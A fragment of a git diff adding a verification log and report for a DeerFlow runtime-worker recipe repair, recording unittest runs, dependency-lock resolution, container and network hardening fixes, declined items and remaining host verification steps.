ok\n\n----------------------------------------------------------------------\nRan 1 test in 0.026s\n\nOK\n" + }, + { + "phase": "frontmatter-red", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_distinguishes_skill_inventory_metadata_and_loads -v", + "chunk_id": "1237cb", + "wall_time_seconds": 0.049780271, + "exit_code": 1, + "original_token_count": 337, + "output": "test_native_trace_distinguishes_skill_inventory_metadata_and_loads (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_distinguishes_skill_inventory_metadata_and_loads) ... FAIL\n\n======================================================================\nFAIL: test_native_trace_distinguishes_skill_inventory_metadata_and_loads (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_distinguishes_skill_inventory_metadata_and_loads)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 362, in test_native_trace_distinguishes_skill_inventory_metadata_and_loads\n self.assertEqual(found[\"skill_reads_observed\"], [\"search-first\"])\n ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: Lists differ: ['search-first', 'verification-before-completion'] != ['search-first']\n\nFirst list contains 1 additional elements.\nFirst extra element 1:\n'verification-before-completion'\n\n- ['search-first', 'verification-before-completion']\n+ ['search-first']\n\n----------------------------------------------------------------------\nRan 1 test in 0.015s\n\nFAILED (failures=1)\n" + }, + { + "phase": "frontmatter-green", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_distinguishes_skill_inventory_metadata_and_loads -v", + "chunk_id": "7134e3", + "wall_time_seconds": 0.05724076, + "exit_code": 0, + "original_token_count": 74, + "output": "test_native_trace_distinguishes_skill_inventory_metadata_and_loads (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_distinguishes_skill_inventory_metadata_and_loads) ... ok\n\n----------------------------------------------------------------------\nRan 1 test in 0.014s\n\nOK\n" + }, + { + "phase": "final-suite", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR=\"$PWD/.round3-tmp\" python3 -m unittest tests.test_runtime_worker_deerflow -v", + "chunk_id": "b0b88c", + "wall_time_seconds": 0.461853093, + "exit_code": 0, + "original_token_count": 2161, + "output": "test_adapter_preserves_known_pass_and_fail_without_a_local_verdict (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_adapter_preserves_known_pass_and_fail_without_a_local_verdict) ... ok\ntest_adapter_rejects_missing_malformed_and_unfinished_output (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_adapter_rejects_missing_malformed_and_unfinished_output) ... ok\ntest_gateway_headers_preserve_affinity_and_new_call_identity (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_headers_preserve_affinity_and_new_call_identity) ... ok\ntest_gateway_reader_is_read_only_and_uses_only_approved_columns (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_reader_is_read_only_and_uses_only_approved_columns) ... ok\ntest_gateway_rejects_non_gpt6_model_routes (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_rejects_non_gpt6_model_routes) ... ok\ntest_gateway_structured_output_uses_upstream_tool_calling (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_structured_output_uses_upstream_tool_calling) ... ok\ntest_grader_install_and_launch_use_exact_upstream_pins (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_grader_install_and_launch_use_exact_upstream_pins) ... ok\ntest_inspect_solver_transports_only_input_and_preserves_upstream_task (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_inspect_solver_transports_only_input_and_preserves_upstream_task) ... ok\ntest_literal_cleanup_continues_after_already_absent_resource (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_literal_cleanup_continues_after_already_absent_resource) ... ok\ntest_mcp_launches_preserve_the_adoption_commands (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_mcp_launches_preserve_the_adoption_commands) ... ok\ntest_model_context_and_container_contract (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_model_context_and_container_contract) ... ok\ntest_native_trace_distinguishes_skill_inventory_metadata_and_loads (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_distinguishes_skill_inventory_metadata_and_loads) ... ok\ntest_native_trace_does_not_count_failed_children_as_completed (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_does_not_count_failed_children_as_completed) ... ok\ntest_owned_compose_resources_and_loopback_ports (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_owned_compose_resources_and_loopback_ports) ... ok\ntest_pins_and_script_boundaries (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_pins_and_script_boundaries) ... ok\ntest_real_upstream_gaia_known_pass_and_fail_controls (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_real_upstream_gaia_known_pass_and_fail_controls) ... skipped 'pinned upstream grader unavailable; installation prohibited in builder'\ntest_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped) ... ok\ntest_reviewable_recipe_and_empty_result_rejection (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) ... ok\ntest_round3_arms_render_endpoint_model_and_only_selected_header (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_arms_render_endpoint_model_and_only_selected_header) ... ok\ntest_round3_attempt_has_fresh_state_and_network_and_no_stack_secrets (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_attempt_has_fresh_state_and_network_and_no_stack_secrets) ... ok\ntest_round3_compression_deltas_are_separate_and_reject_counter_resets (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_compression_deltas_are_separate_and_reject_counter_resets) ... ok\ntest_round3_container_network_hardening_and_resolved_mount_guards (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_container_network_hardening_and_resolved_mount_guards) ... ok\ntest_round3_dispatch_ambiguous_start_is_incomplete_and_retries_same_native_key (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_ambiguous_start_is_incomplete_and_retries_same_native_key) ... ok\ntest_round3_dispatch_cli_accepts_prompt_after_options (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_cli_accepts_prompt_after_options) ... ok\ntest_round3_dispatch_pat_uses_header_and_refuses_redirects_and_unsafe_token_files (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_pat_uses_header_and_refuses_redirects_and_unsafe_token_files) ... ok\ntest_round3_dispatch_reports_negative_setup_and_missing_evidence (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_reports_negative_setup_and_missing_evidence) ... ok\ntest_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths) ... ok\ntest_round3_duplicate_correlation_is_incomplete_and_dispatch_counts_are_sanitized (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_duplicate_correlation_is_incomplete_and_dispatch_counts_are_sanitized) ... ok\ntest_round3_grader_install_is_hash_locked_and_wheel_only (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_grader_install_is_hash_locked_and_wheel_only) ... ok\ntest_round3_inspect_launch_has_no_model_and_publishes_stable_result (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_launch_has_no_model_and_publishes_stable_result) ... {\"result_path\": \"fixture\"}\n{\"status_path\": \"/.round3-tmp/tmpcqyj5hqf/state/runs/frozen-run/status.json\", \"result_path\": \"/.round3-tmp/tmpcqyj5hqf/state/runs/frozen-run/result.json\"}\n{\"result_path\": \"/.round3-tmp/tmpcqyj5hqf/state/runs/frozen-run/result.json\", \"exit_code\": 1}\nok\ntest_round3_inspect_verdict_rejects_incomplete_evidence (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_verdict_rejects_incomplete_evidence) ... ok\ntest_round3_installed_entrypoints_have_their_local_dependencies (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_installed_entrypoints_have_their_local_dependencies) ... ok\ntest_round3_lifecycle_rejects_active_dispatch_and_recreates_selected_arm (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_lifecycle_rejects_active_dispatch_and_recreates_selected_arm) ... ok\ntest_round3_missing_host_setup_still_writes_status_and_result (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_missing_host_setup_still_writes_status_and_result) ... {\"status_path\": \"/.round3-tmp/tmpsseosh8_/runs/missing/status.json\", \"result_path\": \"/.round3-tmp/tmpsseosh8_/runs/missing/result.json\"}\n{\"result_path\": \"/.round3-tmp/tmpsseosh8_/runs/missing/result.json\", \"exit_code\": 2}\nok\ntest_round3_nginx_and_preflight_match_hardened_configuration (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_nginx_and_preflight_match_hardened_configuration) ... ok\ntest_round3_usage_correlates_entry_gateway_once_and_separates_effort (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_usage_correlates_entry_gateway_once_and_separates_effort) ... ok\ntest_skills_use_coordinator_project_installer (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_skills_use_coordinator_project_installer) ... ok\ntest_tool_limits_are_enforced_not_only_described (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_tool_limits_are_enforced_not_only_described) ... ok\ntest_transport_runs_owned_container_and_retains_failed_attempts (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_transport_runs_owned_container_and_retains_failed_attempts) ... ok\n\n----------------------------------------------------------------------\nRan 39 tests in 0.406s\n\nOK (skipped=1)\n" + }, + { + "phase": "final-validator", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 scripts/validate.py", + "chunk_id": "378321", + "wall_time_seconds": 1.000742388, + "session_id": 91032, + "original_token_count": 0, + "output": "" + }, + { + "phase": "final-diff-check", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 GIT_OPTIONAL_LOCKS=0 git diff --check", + "chunk_id": "556b48", + "wall_time_seconds": 0.0000041, + "exit_code": 0, + "original_token_count": 0, + "output": "" + }, + { + "phase": "final-validator-completion", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 scripts/validate.py", + "chunk_id": "6c0b3a", + "wall_time_seconds": 2.354877199, + "exit_code": 1, + "original_token_count": 596, + "output": "Publication validation failed:\nblueprints/runtime-workers/deerflow/README.md: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/README.md: byte count mismatch\nblueprints/runtime-workers/deerflow/compose.json.template: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/compose.json.template: byte count mismatch\nblueprints/runtime-workers/deerflow/config.yaml.template: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/config.yaml.template: byte count mismatch\nblueprints/runtime-workers/deerflow/e2e/receipt.py: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/e2e/receipt.py: byte count mismatch\nblueprints/runtime-workers/deerflow/e2e/run.py: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/e2e/run.py: byte count mismatch\nblueprints/runtime-workers/deerflow/extensions_config.json.template: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/extensions_config.json.template: byte count mismatch\nblueprints/runtime-workers/deerflow/pins.json: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/pins.json: byte count mismatch\nblueprints/runtime-workers/deerflow/recipe.py: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/recipe.py: byte count mismatch\nblueprints/runtime-workers/deerflow/run-e2e.sh: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/run-e2e.sh: byte count mismatch\nblueprints/runtime-workers/deerflow/runtime/gateway-start.sh: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/runtime/gateway-start.sh: byte count mismatch\nblueprints/runtime-workers/deerflow/runtime/gateway_headers.py: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/runtime/gateway_headers.py: byte count mismatch\nblueprints/runtime-workers/deerflow/runtime/gateway_model.py: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/runtime/gateway_model.py: byte count mismatch\nblueprints/runtime-workers/deerflow/runtime/nginx-start.sh: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/runtime/nginx-start.sh: byte count mismatch\nblueprints/runtime-workers/deerflow/runtime/preflight.py: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/runtime/preflight.py: byte count mismatch\nblueprints/runtime-workers/deerflow/runtime/redis-start.sh: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/runtime/redis-start.sh: byte count mismatch\ntests/test_runtime_worker_deerflow.py: SHA-256 mismatch\ntests/test_runtime_worker_deerflow.py: byte count mismatch\n" + }, + { + "phase": "final-scratch-cleanup", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -c 'from pathlib import Path; p=Path(\".round3-tmp/rechecked.lock\"); p.unlink(); p.parent.rmdir(); print(\"Removed .round3-tmp/rechecked.lock and empty .round3-tmp\"); print(\"Cache files/directories:\", [str(x) for x in Path(\".\").rglob(\"*\") if x.name in (\"__pycache__\", \".pytest_cache\", \".mypy_cache\", \".ruff_cache\") or x.suffix in (\".pyc\", \".pyo\")])'", + "chunk_id": "7618ae", + "wall_time_seconds": 0.016491642, + "exit_code": 0, + "original_token_count": 22, + "output": "Removed .round3-tmp/rechecked.lock and empty .round3-tmp\nCache files/directories: []\n" + } + ], + "lock_evidence": { + "resolution": { + "content": [ + { + "type": "text", + "text": "```python\nimport subprocess,os,json,hashlib\nroot=''\ncmd=['rtk','uv','pip','compile','blueprints/runtime-workers/deerflow/e2e/requirements.txt','--generate-hashes','--no-annotate','--no-header','--python-version','3.13','--python-platform','x86_64-unknown-linux-gnu','--no-build','--no-python-downloads','--no-cache','--output-file','blueprints/runtime-workers/deerflow/e2e/requirements.lock']\nr=subprocess.run(cmd,cwd=root,env=dict(os.environ,PYTHONDONTWRITEBYTECODE='1',TMPDIR=root+'/.round3-tmp'),capture_output=True,text=True,timeout=55)\nprint('command',json.dumps(cmd)); print('exit',r.returncode); print(r.stderr[-3000:]);\nif r.returncode==0:\n from pathlib import Path\n p=Path(root)/cmd[-1];print('lock sha256',hashlib.sha256(p.read_bytes()).hexdigest()); print('bytes',p.stat().st_size); print('packages',sum(bool(x) and not x.startswith((' ','#')) for x in p.read_text().splitlines()))\n```\n\ncommand [\"rtk\", \"uv\", \"pip\", \"compile\", \"blueprints/runtime-workers/deerflow/e2e/requirements.txt\", \"--generate-hashes\", \"--no-annotate\", \"--no-header\", \"--python-version\", \"3.13\", \"--python-platform\", \"x86_64-unknown-linux-gnu\", \"--no-build\", \"--no-python-downloads\", \"--no-cache\", \"--output-file\", \"blueprints/runtime-workers/deerflow/e2e/requirements.lock\"]\nexit 0\nResolved 96 packages in 692ms\n\nlock sha256 388083f96839d48ab92b99ea7a3a8fe01f978e5d73374fd8d4ed4dc00adaa341\nbytes 221764\npackages 96\n" + } + ] + }, + "wheel_only_reresolution": { + "content": [ + { + "type": "text", + "text": "```python\nimport subprocess,os,hashlib\nfrom pathlib import Path\nroot=Path('')\ncmd=['rtk','uv','pip','compile','blueprints/runtime-workers/deerflow/e2e/requirements.txt','--constraint','blueprints/runtime-workers/deerflow/e2e/requirements.lock','--generate-hashes','--no-annotate','--no-header','--python-version','3.13','--python-platform','x86_64-unknown-linux-gnu','--only-binary',':all:','--no-python-downloads','--no-cache','--output-file','.round3-tmp/rechecked.lock']\nr=subprocess.run(cmd,cwd=root,env=dict(os.environ,PYTHONDONTWRITEBYTECODE='1',TMPDIR=str(root/'.round3-tmp')),capture_output=True,text=True,timeout=55)\nprint('exit',r.returncode);print(r.stderr)\nif r.returncode==0:\n print('wheel-only resolution sha256',hashlib.sha256((root/cmd[-1]).read_bytes()).hexdigest())\n print('matches committed lock', (root/cmd[-1]).read_bytes()==(root/'blueprints/runtime-workers/deerflow/e2e/requirements.lock').read_bytes())\n```\n\nexit 0\nResolved 96 packages in 564ms\n\nwheel-only resolution sha256 388083f96839d48ab92b99ea7a3a8fe01f978e5d73374fd8d4ed4dc00adaa341\nmatches committed lock True\n" + } + ] + }, + "refused_dry_run": { + "content": [ + { + "type": "text", + "text": "```python\nimport subprocess,os\nroot=''\ncmd=['rtk','uv','pip','install','--dry-run','--system','--python','python3','--no-python-downloads','--no-cache','--require-hashes','--only-binary',':all:','--no-deps','-r','blueprints/runtime-workers/deerflow/e2e/requirements.lock']\nr=subprocess.run(cmd,cwd=root,env=dict(os.environ,PYTHONDONTWRITEBYTECODE='1',TMPDIR=root+'/.round3-tmp'),capture_output=True,text=True,timeout=55)\nprint('exit',r.returncode);print(r.stdout); print(r.stderr)\n```\n\nexit 2\n\nUsing Python 3.12.3 environment at: /usr\nerror: The interpreter at /usr is externally managed, and indicates the following:\n\n To install Python packages system-wide, try apt install\n python3-xyz, where xyz is the package you are trying to\n install.\n\n If you wish to install a non-Debian-packaged Python package,\n create a virtual environment using python3 -m venv path/to/venv.\n Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make\n sure you have python3-full installed.\n\n If you wish to install a non-Debian packaged Python application,\n it may be easiest to use pipx install xyz, which will manage a\n virtual environment for you. Make sure you have pipx installed.\n\n See /usr/share/doc/python3.12/README.venv for more information.\n\nhint: Virtual environments were not considered due to the `--system` flag\n\n" + } + ] + }, + "prior_no_venv_dry_run": { + "evidence_class": "session observation", + "outcome": "Refused before installation because no virtual environment was selected.", + "returned_output": null, + "exit_code": null, + "qualification": "This earlier refusal is known from the session history; raw output was not retained in the verification store. Do not infer an exit code." + } + }, + "host_gates": [ + "Coordinator installs skills/CLI extension and hash-locked CPython 3.13 grader; unchanged GAIA scorer controls.", + "Pinned image/Compose startup, Redis AUTH, non-root nginx, read-only roots and tmpfs; mapped-UID lifecycle for Gateway/frontend/Redis remains declined.", + "Native internal network: selected gateway forwarder allowed; other gateway/loopback/bridge/MCP/metadata/CONNECT denied. Public egress and remote ai-memory/Qdrant remain disabled.", + "MCP dependency/interpreter visibility, QMD copy, real skill reads and every model role's headers/max effort.", + "PAT setup, native start/wait/result/cancel, retry/restart recovery; Claude child-usage/OTel and native-run ledger reconciliation.", + "20129 DB identity, correlations, conditional effort rows, final-row flush and compression analytics access/deltas.", + "Permitted frozen GAIA runs for both arms with native logs, failures and cleanup evidence; no public-web coverage claimed.", + "Coordinator re-registers only changed evidence hashes and reruns repository validation." + ], + "final_acceptance": { + "unittest": { + "exit_code": 0, + "tests": 39, + "skipped": 1, + "returned_summary": "Ran 39 tests in 0.406s\n\nOK (skipped=1)", + "qualification": "38 executed tests passed; real pinned upstream GAIA scorer unavailable and explicitly skipped. Synthetic fixture checks only." + }, + "validator": { + "exit_code": 1, + "qualification": "Only SHA-256 and byte-count mismatches for the 16 changed tracked files; manifests/evidence.json was not edited. Coordinator must register hashes and rerun." + }, + "diff_check": { + "exit_code": 0, + "output": "" + }, + "cleanup": { + "scratch_removed": true, + "cache_entries": [] + } + } +} diff --git a/blueprints/runtime-workers/deerflow/round3-verification.md b/blueprints/runtime-workers/deerflow/round3-verification.md new file mode 100644 index 000000000..48cd55689 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/round3-verification.md @@ -0,0 +1,262 @@ +# DeerFlow round-3 repair verification — 2026-09-27 + +Draft PR #427; supplied base b98a1cd5; branch claude/runtime-worker-deerflow-20260927. +This is the single offline repair round. The coordinator owns commits, hash +registration, installation and native E2E. No Git metadata, shared evidence +manifest, host install, container or model gateway was mutated/invoked here. + +The four supplied inputs were read first: rw3-deerflow-review.json, +rw3-security.json, rw3-deerflow-integrate.json and rw3-common.md. IDs below index +the review arrays (D = DeerFlow; S = security). Other recipes' findings are out of +scope. S9 is split to make the declined UID portion explicit. + +## Findings + +| ID | Severity | Disposition | Change / evidence | +| --- | --- | --- | --- | +| D1 | blocker | fixed | Engines-on model rejected: recipe.arm_settings; arm regression red exit 1 -> green 0; one-slash common requirement overrides review's two-slash proposal. Sources: user common requirements §1; DF config/app_config.py:432,565. | +| D2 | blocker | fixed | Base URL fixed to control: $DEERFLOW_BASE_URL; derived per-arm environment; attempt window and receipts identify arm/model/base_url/header names. Sources: DF config/app_config.py:432,565; LC base.py:668-670,1220-1242. | +| D3 | blocker | fixed | Inspect OpenAI provider unnecessarily required: e2e/evaluate.py uses --model none; removes key/base URL; supplies --metadata. Grader optional OpenAI import probe no longer gates this provider path. Sources: IA providers.py:361-365,379-391. | +| D4 | major | fixed | Unconditional no-cache disables engines-on cache: No no-cache header. Compression header only engines-on; max effort and temperature omission tested. Sources: LC base.py:1683-1712,3327-3345; user common requirements §1. | +| D5 | major | fixed | No stable machine-readable result: Stable caller run ID; start status/result paths; official Inspect JSON path; native HTTP start/wait/result/cancel; four exit classes. Sources: DF thread_runs.py:923-939,1143-1168,1528-1560; IA _cli/eval.py:1681-1682; log/_log.py:798-820,848-895. | +| D6 | minor | fixed | Skill activation trusts omitted tool status: Corrected serialization comment; bounded frontmatter name required; errors without failure prefix including a stray name line fail activation. Sources: DF client.py:527-564; sandbox/local/local_sandbox.py:813-842. | +| S2 | major | fixed | Model shell reaches other host loopback services: Internal network plus separate fixed per-port nginx forwarder; no raw ai-memory/Qdrant endpoints enabled. Native network enforcement and host bridge paths unmeasured. Sources: CS 06-networks.md:215-218; NG proxy module:305-358,417-457. | +| S3 | major | fixed | E2E inherits persistent tokens/state/network: Fresh two-service Compose graph/project/networks; isolated writable state/work; host-retained QMD seed; no env_file/internal token/Redis connection. Persistent Redis requirepass added. Sources: CS 06-networks.md:215-218; RD redis.conf:1041-1050. | +| S4 | major | fixed | Grader transitive installation unlocked: 96-package hash lock, hash in pins.json, CPython 3.13 Linux x86_64; --require-hashes --only-binary=:all: --no-deps; pip check/version validation. Resolution is not installation acceptance. Sources: UV docs/pip/compile.md:24-28 and installed CLI help; IE GAIA README. | +| S6 | minor | fixed | Credential/ancestor/symlink mounts accepted: Resolved dependency-root allowlist and protected-store ancestor/descendant denial; regression covers .config/native-agent-stack, home ancestor and symlink escape. Sources: CS 05-services.md volume bind contract; repository docs/secret-storage.md. | +| S9a | minor | fixed | Container capability/privilege/root-filesystem hardening missing: All services cap_drop ALL, no-new-privileges, read-only roots/tmpfs. nginx and egress run UID 101. Sources: CS 05-services.md:171-175,1839-1841,1955-1963,2029-2046,2080-2082. | +| S9b | common baseline | declined | Blanket non-root UID for Gateway/frontend/Redis: Current rootless binds and generated private configuration use host-owned 0700/0600 permissions; an arbitrary container UID would break access. Published backend source defaults to root. Keep rootless default UID with all caps dropped until coordinator qualifies mapped-UID/owned-bind lifecycle. Residual is documented, not an upstream non-root absence claim. Sources: DF backend/Dockerfile:94-127; CS 05-services.md:2080-2082; recipe.py owned file permissions. | +| S11 | minor | fixed | Serena dashboard enabled: --enable-web-dashboard false; GUI/off and native command otherwise retained. Sources: SR src/serena/cli.py:291-305,398-400. | +| C2-C3 | common requirements | fixed | Per-arm usage, correlation and effort evidence: Entry store only; private IDs joined/omitted; exact model/path/window fallback without attributed total; positive-reasoning max/nonmax/unknown categories; zero-reasoning count; separate compression delta. Sources: OR callLogs.ts:628-653; compression route:13-24; compressionAnalytics.ts:52-82; LC base.py:934-935,1404-1411,1462-1469. | +| C4-C5 | common requirements | fixed | Native dispatch, invocation accounting and receipt boundary: PAT native background run API; stable artifacts/private ledger; native RunEvent envelopes and lead-agent result; independent SQL checks, host-captured forwarder log, all receipt paths outside model mounts. Actual OTel/native run reconciliation remains a host gate. Sources: DF chat.sh:24-90,140-164; thread_runs.py:223-242,923-939,1143-1168,1528-1560; runtime/journal.py:512-522. | + +Full source identities/file lines, exact commands, exit codes and returned +stdout/stderr are in [round3-verification.json](round3-verification.json). +The [README](README.md) links the upstream files and gives exact dispatch, +arm-switch, installation and E2E commands. + +## Source and skill discovery + +The installed search-first and find-skills guidance was used inline; no worker +was spawned and no skill was installed. The best-matching reference is DeerFlow's +own pinned claude-to-deerflow skill and maintained Gateway API. A new MCP server +was not built. Installed checks found uv 0.12.17 and inspect 0.3.266 on PATH; +Docker and DeerFlow were not found on PATH. This does not claim they are absent +from the host. The builder Python cannot import the pinned grader packages, so +the real upstream scorer control is explicitly skipped. + +Direct shell gh could not connect; the allowed read-only Context Mode gh channel +returned the v2.1.0 release and pinned source. The web open operation was unsupported. +Those channel failures are not absence evidence. The LangChain 1.2.1 sdist was +fetched in memory and its SHA256 matched pins.json. No code from that archive was +installed or run. Compose, nginx, Redis, Serena, uv, Inspect and OmniRoute source +references are pinned in the JSON record. + +The 96-package grader lock was resolved with installed uv 0.12.17 and +re-resolved with a wheel-only constraint at CPython 3.13 / Linux x86_64. Both +produced SHA256 388083f96839d48ab92b99ea7a3a8fe01f978e5d73374fd8d4ed4dc00adaa341. +Two exploratory install **dry-runs** failed before installation (no venv, then +the Context Mode host's externally-managed Python 3.12). No override or install +followed; the target-specific wheel-only compile supplied the artifact check. + +## Test-first evidence + +Tests use the seams authorized by the user: recipe rendering, gateway payloads, +isolated transport, private receipt accounting, native API dispatch and official +grader result transport. External clients/containers are doubled. These are local +integration contracts and synthetic fixtures, not unchanged upstream acceptance. + +The JSON log preserves each red/green command pair, intermediate failures and the +final acceptance output. Red cases cover arm selection/endpoint, max effort, +skill/frontmatter failure, correlated usage, lock/install flags, internal-network +hardening, fresh attempt state, NoModel grading/result paths, native dispatch and +compression, lifecycle and installed entry points, duplicate IDs, ambiguous +create retries, non-root nginx, setup status and native RunEvent envelopes. +Exit 1 is the expected failing unittest run; the corresponding repaired run is +exit 0. The first Inspect-green attempt failed a stale source-string assertion +and is retained alongside its corrected pass. + +## Correction and anti-pattern log + +| Mistake or incomplete assumption | Correction and verification path | +| --- | --- | +| Review proposed sharedgw/cx/... | The explicit common contract requires sharedgw/gpt-6-astra-max. The arm regression accepts this slug and rejects the two-slash variant; no gateway probe was repeated. | +| Skill ToolMessage values were said to carry status | DeerFlow@345f08be client.py:527–564 omits that field in both serializations. A returned SKILL.md needs actual bounded frontmatter with the right name. Both missing-prefix error and stray-name controls failed before repair. | +| Initial HTTP result fixture reused the SSE message shape | The /messages API returns RunEvent envelopes, with AIMessage.model_dump() in content (runtime/events/store/base.py:32–43,54–55; runtime/journal.py:512–522 at the DeerFlow pin). Updating the fixture to that pinned shape failed (exit 1); unwrapping it passed (exit 0). Lead-only result selection follows journal.py:327–344. | +| Duplicate correlation rows could choose the first row and silently claim a total | A conflicting duplicate control failed; duplicates now produce incomplete/unavailable attribution, not a sum or an arbitrary retained row. | +| Lost create response classified as setup failure | A native run may already exist. The failed control now retains a pending slot and repeats the same native idempotency key, with one ledger entry on acknowledgment. | +| A dry-run used the Context Mode interpreter rather than the lock target | The retained externally-managed refusal is preserved; the earlier no-venv refusal is recorded as a session observation without raw output. No package was installed. Explicit target/wheel-only uv compilation reproduced the lock byte-for-byte. | +| Assuming read-only nginx could keep root startup semantics after dropping caps | nginx and the forwarder use UID 101; nginx config/PID/temp files have writable locations, while the image's /etc/nginx remains intact. Native execution is still a host gate. | + +This recipe-local log carries the corrections for the coordinator; the shared +harness-defaults anti-pattern log is not edited from this owned repair lane. + +## Host verification still required + +1. Install the coordinator's skills manifest/CLI extension and the hash-locked + CPython 3.13 grader. Run the unchanged GAIA known-pass/known-fail controls. +2. Verify all pinned image metadata, Compose config, read-only/tmpfs startup, + Redis AUTH, nginx UID 101 and the actual mapped-UID lifecycle. Gateway, + frontend and Redis still use the release/default UID (S9b). +3. Test both allowed gateway ports through their selected forwarder and denial + of the other gateway port, direct host-loopback/bridge listeners, ai-memory, + Qdrant, metadata services and CONNECT. Validate rootless internal-network + behavior before claiming confinement. Public web egress and the two remote + MCP services remain disabled under this policy. +4. Establish in-container MCP dependency/interpreter visibility, QMD snapshot + behavior and real skill reads. Confirm the released clients' payload/stream + hook sends session/idempotency, compression only on engines-on, and max effort + for lead, child and summarization calls. +5. Initialize/login to DeerFlow, mint the scoped PAT, exercise native + start/wait/result/cancel and ambiguous-start/restart recovery. Reconcile + ledger/native run/console rows and Claude child-usage/OTel tool events. +6. Verify the 20129 store path and actual correlation/effort rows, response + headers for all call roles, final-row flush timing, and management access to + compression analytics. Missing data remains incomplete, never zero savings. +7. Acquire permitted frozen GAIA no-attachment validation inputs, run both arms, + retain native logs and failures, and qualify timeout/network cleanup. + General web-research coverage is not claimed with restricted egress. +8. Re-register changed hashes in manifests/evidence.json and rerun the + repository validator. The only allowed current failure is changed-file + SHA256/byte-count mismatch; it is retained as a failure. + +## Final acceptance + + +The unittest command exited 0: 39 tests, with 38 executed and one explicitly +skipped because the pinned upstream grader is unavailable in this builder. +The validator exited 1 only for SHA-256/byte-count mismatches in the 16 changed +tracked files. This is a retained failure; the coordinator must re-register +hashes. The diff whitespace check exited 0 with no output. + +Paths in returned output use the substitutions declared in the JSON record. +The complete output below retains the synthetic fixtures' negative/setup JSON; +those lines are expected test observations, not failed unittest outcomes. + +### final-suite + +Command (exit 0): + +```sh +rtk env PYTHONDONTWRITEBYTECODE=1 TMPDIR="$PWD/.round3-tmp" python3 -m unittest tests.test_runtime_worker_deerflow -v +``` + +Returned output: + +```text +test_adapter_preserves_known_pass_and_fail_without_a_local_verdict 